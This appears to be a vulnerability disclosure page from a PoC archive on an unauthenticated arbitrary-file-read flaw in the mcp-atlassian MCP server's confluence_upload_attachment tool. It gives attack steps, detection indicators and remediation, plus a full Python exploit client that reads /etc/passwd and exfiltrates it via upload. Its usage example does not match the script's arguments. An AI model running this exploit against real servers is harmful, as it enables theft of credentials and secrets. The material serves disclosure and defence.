PoC Archive PoC Archive
Critical CVE-2026-27825 (read-side twin of GHSA-xjgw-4wvw-rgm4) unpatched

mcp-atlassian Path Traversal via confluence_upload_attachment (CVE-2026-27825)

by romain-deperne · 2026-07-05

CVSS 9.3/10
Severity
Critical
CVE
CVE-2026-27825 (read-side twin of GHSA-xjgw-4wvw-rgm4)
Category
web
Affected product
sooperset/mcp-atlassian MCP server
Affected versions
>= 0.17.0
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherromain-deperne
CVE / AdvisoryCVE-2026-27825 (read-side twin of GHSA-xjgw-4wvw-rgm4)
Categoryweb
SeverityCritical
CVSS Score9.3
StatusPoC
Tagsmcp, path-traversal, arbitrary-file-read, confluence, mcp-atlassian, cwe-22, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / Systemsooperset/mcp-atlassian MCP server
Versions Affected>= 0.17.0
Language / PlatformPython (MCP stdio/streamable-http server)
Authentication RequiredNo
Network Access RequiredYes

Summary

The confluence_upload_attachment MCP tool in mcp-atlassian passes its file_path argument straight into open(file_path, "rb") with no path validation, letting an attacker read arbitrary files on the server’s filesystem and exfiltrate them via a multipart upload to an attacker-controlled Confluence endpoint. This is the mirror-image flaw to a previously patched download-path traversal (GHSA-xjgw-4wvw-rgm4): the v0.17.0 fix added validate_safe_path() on the write/download path but never applied the same guard to the upload/read path. Because the default streamable-http transport binds to 0.0.0.0 with no authentication layer, any network-reachable client can invoke the MCP tool directly. The PoC spawns the real mcp-atlassian server, drives it with an MCP client session, and points file_path at /etc/passwd against a local mock Confluence HTTP stub, confirming the file contents are exfiltrated in the upload body.


Vulnerability Details

Root Cause

src/mcp_atlassian/confluence/attachments.py:477 calls open(file_path, "rb") on the attacker-controlled file_path argument with no call to validate_safe_path(), unlike the patched download path at lines 223/272 in the same file.

Attack Vector

  1. Connect to the target mcp-atlassian server’s default streamable-http endpoint (bound 0.0.0.0, no auth).
  2. Invoke the confluence_upload_attachment MCP tool with file_path set to an absolute path outside the intended attachment directory (e.g. /etc/passwd).
  3. The server opens and reads the specified file and uploads its contents via multipart POST to the configured Confluence URL.
  4. Point the Confluence URL at an attacker-controlled endpoint (or intercept the mock/real Confluence traffic) to capture the exfiltrated file contents.

Impact

Unauthenticated arbitrary file read and exfiltration of any file readable by the mcp-atlassian process, including credentials, SSH keys, and .env/application secrets.


Environment / Lab Setup

Target:   sooperset/mcp-atlassian >= 0.17.0, default streamable-http transport (0.0.0.0, no auth)
Attacker: Python 3 with the `mcp` client library, local mock Confluence HTTP stub (mock_confluence.py)

Proof of Concept

PoC Script

See mcp_client.py, mock_confluence.py, and poc_run1.sh in this folder.

1
2
3
4
5
6
7
python mock_confluence.py &

python mcp_client.py \
  --tool confluence_upload_attachment \
  --page-id 123456 \
  --file-path /etc/passwd \
  --filename passwd.txt

poc_run1.sh orchestrates both steps: it starts the mock Confluence server, then drives the real mcp-atlassian server via mcp_client.py to upload /etc/passwd, and the mock server’s log shows the full file contents arriving in the multipart body.


Detection & Indicators of Compromise

Signs of compromise:

  • confluence_upload_attachment MCP tool invocations with file_path values pointing outside expected attachment directories (absolute paths, ../ sequences)
  • Unexpected outbound multipart uploads from the mcp-atlassian host to unfamiliar Confluence/attacker endpoints
  • MCP server logs showing tool calls from unauthenticated/unexpected clients (default 0.0.0.0 binding)

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — apply validate_safe_path() to the upload path in attachments.py:477, mirroring the existing download-path guard
Interim mitigationDo not expose mcp-atlassian’s streamable-http transport on 0.0.0.0; bind to localhost or place behind an authenticating reverse proxy, and restrict which paths the tool can read

References


Notes

Mirrored from https://github.com/romain-deperne/CVE-2026-27825 on 2026-07-05.

mcp_client.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
"""
Real MCP stdio client. Launches the vulnerable mcp-atlassian server,
calls tools/list, then tools/call upload_attachment with a traversal file_path.
"""
import asyncio
import json
import os
import sys

from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client


async def run(file_path: str, mock_url: str, mcp_bin: str) -> int:
    env = os.environ.copy()
    env.update({
        "CONFLUENCE_URL":      mock_url,
        "CONFLUENCE_USERNAME": "test",
        "CONFLUENCE_API_TOKEN": "test",
        "READ_ONLY_MODE":      "false",
        "ENABLED_TOOLS":       "confluence_upload_attachment",
        "MCP_LOGGING_STDOUT":  "false",
    })

    params = StdioServerParameters(
        command=mcp_bin,
        args=["--transport", "stdio", "-vv"],
        env=env,
    )

    async with stdio_client(params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()
            tools = await session.list_tools()
            names = [t.name for t in tools.tools]
            print(f"[client] tools loaded ({len(names)}): "
                  f"{[n for n in names if 'upload' in n or 'attachment' in n]}")

            print(f"[client] calling upload_attachment file_path={file_path!r}")
            try:
                result = await session.call_tool(
                    "confluence_upload_attachment",
                    arguments={
                        "content_id": "123456",
                        "file_path":  file_path,
                        "comment":    "poc",
                    },
                )
                print("[client] isError=", result.isError)
                for c in result.content:
                    txt = getattr(c, "text", None)
                    if txt:
                        print("[client] result:", txt[:500])
            except Exception as e:
                print(f"[client] call_tool raised: {e}")
                return 2
            return 0


if __name__ == "__main__":
    file_path = sys.argv[1]
    mock_url  = sys.argv[2]
    mcp_bin   = sys.argv[3]
    sys.exit(asyncio.run(run(file_path, mock_url, mcp_bin)))